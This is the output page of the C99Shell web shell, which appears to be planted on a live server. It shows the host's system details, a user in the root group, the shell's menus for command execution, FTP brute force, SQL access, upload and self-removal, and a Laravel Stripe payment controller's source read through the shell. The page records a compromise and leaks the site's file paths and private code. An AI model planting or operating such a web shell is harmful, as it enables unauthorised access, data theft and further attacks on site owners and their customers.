!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.59 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     StripePaymentController.php (16.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;


use 
App\Models\Coupon;
use 
App\Models\Customer;
use 
App\Models\Invoice;
use 
App\Models\InvoicePayment;
use 
App\Models\Order;
use 
App\Models\Plan;
use 
App\Models\User;
use 
App\Models\Transaction;
use 
App\Models\UserCoupon;
use 
App\Models\Utility;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Crypt;
use 
Illuminate\Support\Facades\DB;
use 
Session;
use 
Stripe;

class 
StripePaymentController extends Controller
{
    public 
$settings;

    public function 
index()
    {
        
$objUser \Auth::user();
        
        if(
$objUser->type == 'super admin')
        {
            
$orders Order::select([
                                        
'orders.*',
                                        
'users.name as user_name',
                                    ])->
join('users''orders.user_id''=''users.id')->orderBy('orders.created_at''DESC')->with('total_coupon_used.coupon_detail')->with(['total_coupon_used.coupon_detail'])->get();

            
$userOrders Order::select('*')
            ->
whereIn('id', function ($query) {
                
$query->selectRaw('MAX(id)')
                    ->
from('orders')
                    ->
groupBy('user_id');
            })
            ->
orderBy('created_at''desc')
            ->
get();        
                
            return 
view('order.index'compact('orders' 'userOrders'));

        }
        else
        {
            
$orders Order::select([
                                        
'orders.*',
                                        
'users.name as user_name',
                                    ])->
join('users''orders.user_id''=''users.id')->orderBy('orders.created_at''DESC')->where('users.id''='$objUser->id)->with('total_coupon_used.coupon_detail')->with(['total_coupon_used.coupon_detail'])->get();

            return 
view('order.index'compact('orders'));
        }
    }

    public function 
refund(Request $request $id $user_id)
    {
        
Order::where('id'$request->id)->update(['is_refund' => 1]);

        
$user User::find($user_id);

        
$assignPlan $user->assignPlan(1);

        return 
redirect()->back()->with('success' __('We successfully planned a refund and assigned a free plan.'));
    }

    public function 
stripe($code)
    {

        try {
            
$plan_id       \Illuminate\Support\Facades\Crypt::decrypt($code);
        } catch (
\Throwable $th) {
            return 
redirect()->back()->with('error'__('Plan Not Found.'));
        }
        
$plan_id               \Illuminate\Support\Facades\Crypt::decrypt($code);
        
$plan                  Plan::find($plan_id);
        
$admin_payment_setting Utility::getAdminPaymentSetting();
        if(
$plan)
        {
            return 
view('stripe'compact('plan''admin_payment_setting'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Plan is deleted.'));
        }
    }

    public function 
stripePost(Request $request)
    {

        
$objUser \Auth::user();
        
$planID  \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id);
        
$plan    Plan::find($planID);

        
$admin_payment_setting Utility::getAdminPaymentSetting();

        if(
$plan)
        {

            try
            {
                
$price $plan->price;

                if(!empty(
$request->coupon))
                {
                    
$coupons Coupon::where('code'strtoupper($request->coupon))->where('is_active''1')->first();
                    if(!empty(
$coupons))
                    {
                        
$usedCoupun     $coupons->used_coupon();
                        
$discount_value = ($plan->price 100) * $coupons->discount;
                        
$price          $plan->price $discount_value;


                        if(
$coupons->limit == $usedCoupun)
                        {
                            return 
redirect()->back()->with('error'__('This coupon code has expired.'));
                        }
                    }
                    else
                    {
                        return 
redirect()->back()->with('error'__('This coupon code is invalid or has expired.'));
                    }
                }

                
$orderID strtoupper(str_replace('.'''uniqid(''true)));

                if(
$price 0.0)
                {
                    
Stripe\Stripe::setApiKey($admin_payment_setting['stripe_secret']);
                    
$data Stripe\Charge::create([
                                                      
"amount" => 100 $price,
                                                      
"currency" => !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency']: '',
                                                      
"source" => $request->stripeToken,
                                                      
"description" => " Plan - " $plan->name,
                                                      
"metadata" => ["order_id" => $orderID],
                                                  ]);


                }
                else
                {

                    
$data['amount_refunded'] = 0;
                    
$data['failure_code']    = '';
                    
$data['paid']            = 1;
                    
$data['captured']        = 1;
                    
$data['status']          = 'success';


                }


                if(
$data['amount_refunded'] == && empty($data['failure_code']) && $data['paid'] == && $data['captured'] == 1)
                {


                    
Order::create([
                                      
'order_id' => $orderID,
                                      
'name' => $request->name,
                                      
'card_number' => isset($data['payment_method_details']['card']['last4']) ? $data['payment_method_details']['card']['last4'] : '',
                                      
'card_exp_month' => isset($data['payment_method_details']['card']['exp_month']) ? $data['payment_method_details']['card']['exp_month'] : '',
                                      
'card_exp_year' => isset($data['payment_method_details']['card']['exp_year']) ? $data['payment_method_details']['card']['exp_year'] : '',
                                      
'plan_name' => $plan->name,
                                      
'plan_id' => $plan->id,
                                      
'price' => $price,
                                      
'price_currency' => !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency']: '',
                                      
'txn_id' => isset($data['balance_transaction']) ? $data['balance_transaction'] : '',
                                      
'payment_type' => __('STRIPE'),
                                      
'payment_status' => isset($data['status']) ? $data['status'] : 'success',
                                      
'receipt' => isset($data['receipt_url']) ? $data['receipt_url'] : 'free coupon',
                                      
'user_id' => $objUser->id,
                                  ]);

                    if(!empty(
$request->coupon))
                    {

                        
$userCoupon         = new UserCoupon();
                        
$userCoupon->user   $objUser->id;
                        
$userCoupon->coupon $coupons->id;
                        
$userCoupon->order  $orderID;
                        
$userCoupon->save();

                        
$usedCoupun $coupons->used_coupon();
                        if(
$coupons->limit <= $usedCoupun)
                        {
                            
$coupons->is_active 0;
                            
$coupons->save();
                        }

                    }

                    if(
$data['status'] == 'succeeded')
                    {
                        
$assignPlan $objUser->assignPlan($plan->id);
                        if(
$assignPlan['is_success'])
                        {
                            return 
redirect()->route('plans.index')->with('success'__('Plan successfully activated.'));
                        }
                        else
                        {
                            return 
redirect()->route('plans.index')->with('error'__($assignPlan['error']));
                        }
                    }
                    else
                    {
                        return 
redirect()->route('plans.index')->with('error'__('Your payment has failed.'));
                    }
                }
                else
                {
                    return 
redirect()->route('plans.index')->with('error'__('Transaction has been failed.'));
                }
            }
            catch(
\Exception $e)
            {


                return 
redirect()->route('plans.index')->with('error'__($e->getMessage()));
            }
        }
        else
        {
            return 
redirect()->route('plans.index')->with('error'__('Plan is deleted.'));
        }
    }

    public function 
addPayment(Request $request$id)
    {


        
$invoice                 Invoice::find($id);
        
$company_payment_setting Utility::getCompanyPaymentSetting($invoice->created_by);


        
$settings                DB::table('settings')->where('created_by''='$invoice->created_by)->get()->pluck('value''name');




        if(
$invoice)
        {
            if(
$request->amount $invoice->getDue())
            {
                return 
redirect()->back()->with('error'__('Invalid amount.'));
            }
            else
            {
                try
                {

                    
$orderID strtoupper(str_replace('.'''uniqid(''true)));
                    
$price   $request->amount;
                    
Stripe\Stripe::setApiKey($company_payment_setting['stripe_secret']);

                    
$data Stripe\Charge::create([
                                                      
"amount" => 100 $price,
                                                      
"currency" => $settings['site_currency'],
                                                      
"source" => $request->stripeToken,
                                                      
"description" => 'Invoice ' Utility::invoiceNumberFormat($settings$invoice->invoice_id),
                                                      
"metadata" => ["order_id" => $orderID],
                                                  ]);

                    if(
$data['amount_refunded'] == && empty($data['failure_code']) && $data['paid'] == && $data['captured'] == 1)
                    {
                        
$payments InvoicePayment::create([

                                                               
'invoice_id' => $invoice->id,
                                                               
'date' => date('Y-m-d'),
                                                               
'amount' => $price,
                                                               
'account_id' => 0,
                                                               
'payment_method' => 0,
                                                               
'order_id' => $orderID,
                                                               
'currency' => $data['currency'],
                                                               
'txn_id' => $data['balance_transaction'],
                                                               
'payment_type' => __('STRIPE'),
                                                               
'receipt' => $data['receipt_url'],
                                                               
'reference' => '',
                                                               
'description' => 'Invoice ' Utility::invoiceNumberFormat($settings$invoice->invoice_id),
                                                           ]);

                        if(
$invoice->getDue() <= 0)
                        {
                            
$invoice->status 4;
                        }
                        elseif((
$invoice->getDue() - $request->amount) == 0)
                        {
                            
$invoice->status 4;
                        }
                        else
                        {
                            
$invoice->status 3;
                        }
                        
$invoice->save();

                        
$invoicePayment              = new Transaction();
                        
$invoicePayment->user_id     $invoice->customer_id;
                        
$invoicePayment->user_type   'Customer';
                        
$invoicePayment->type        'STRIPE';
                        
$invoicePayment->created_by  $invoice->invoice_id;
                        
$invoicePayment->payment_id  $invoicePayment->id;
                        
$invoicePayment->category    'Invoice';
                        
$invoicePayment->amount      $price;
                        
$invoicePayment->date        date('Y-m-d');
                        
$invoicePayment->payment_id  $payments->id;
                        
$invoicePayment->description 'Invoice ' Utility::invoiceNumberFormat($settings$invoice->invoice_id);
                        
$invoicePayment->account     0;
                        
Transaction::addTransaction($invoicePayment);

                        
//for customer balance update
                        
Utility::updateUserBalance('customer'$invoice->customer_id$request->amount'debit');

                        
//For Notification
                        
$setting  Utility::settingsById($invoice->created_by);
                        
$customer Customer::find($invoice->customer_id);
                        
$notificationArr = [
                            
'payment_price' => $price,
                            
'invoice_payment_type' =>$invoicePayment->type,
                            
'customer_name' => $customer->name,
                        ];
                        
//Slack Notification
                        
if(isset($setting['payment_notification']) && $setting['payment_notification'] ==1)
                        {
                            
Utility::send_slack_msg('new_invoice_payment'$notificationArr,$invoice->created_by);
                        }
                        
//Telegram Notification
                        
if(isset($setting['telegram_payment_notification']) && $setting['telegram_payment_notification'] == 1)
                        {
                            
Utility::send_telegram_msg('new_invoice_payment'$notificationArr,$invoice->created_by);
                        }
                        
//Twilio Notification
                        
if(isset($setting['twilio_payment_notification']) && $setting['twilio_payment_notification'] ==1)
                        {
                            
Utility::send_twilio_msg($customer->contact,'new_invoice_payment'$notificationArr,$invoice->created_by);
                        }
                        
//webhook
                        
$module ='New Invoice Payment';
                        
$webhook=  Utility::webhookSetting($module,$invoice->created_by);
                        if(
$webhook)
                        {
                            
$parameter json_encode($invoicePayment);
                            
$status Utility::WebhookCall($webhook['url'],$parameter,$webhook['method']);
                            if(
$status == true)
                            {
                                return 
redirect()->back()->with('success'__('Payment successfully added!'));
                            }
                            else
                            {
                                return 
redirect()->back()->with('error'__('Webhook call failed.'));
                            }
                        }

                        return 
redirect()->back()->with('success'__(' Payment successfully added.'));

                    }
                    else
                    {
                        return 
redirect()->back()->with('error'__('Transaction has been failed.'));
                    }
                }
                catch(
\Exception $e)
                {
//                    dd($e);
                    
return redirect()->back()->with('error'__($e->getMessage()));
                }
            }
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--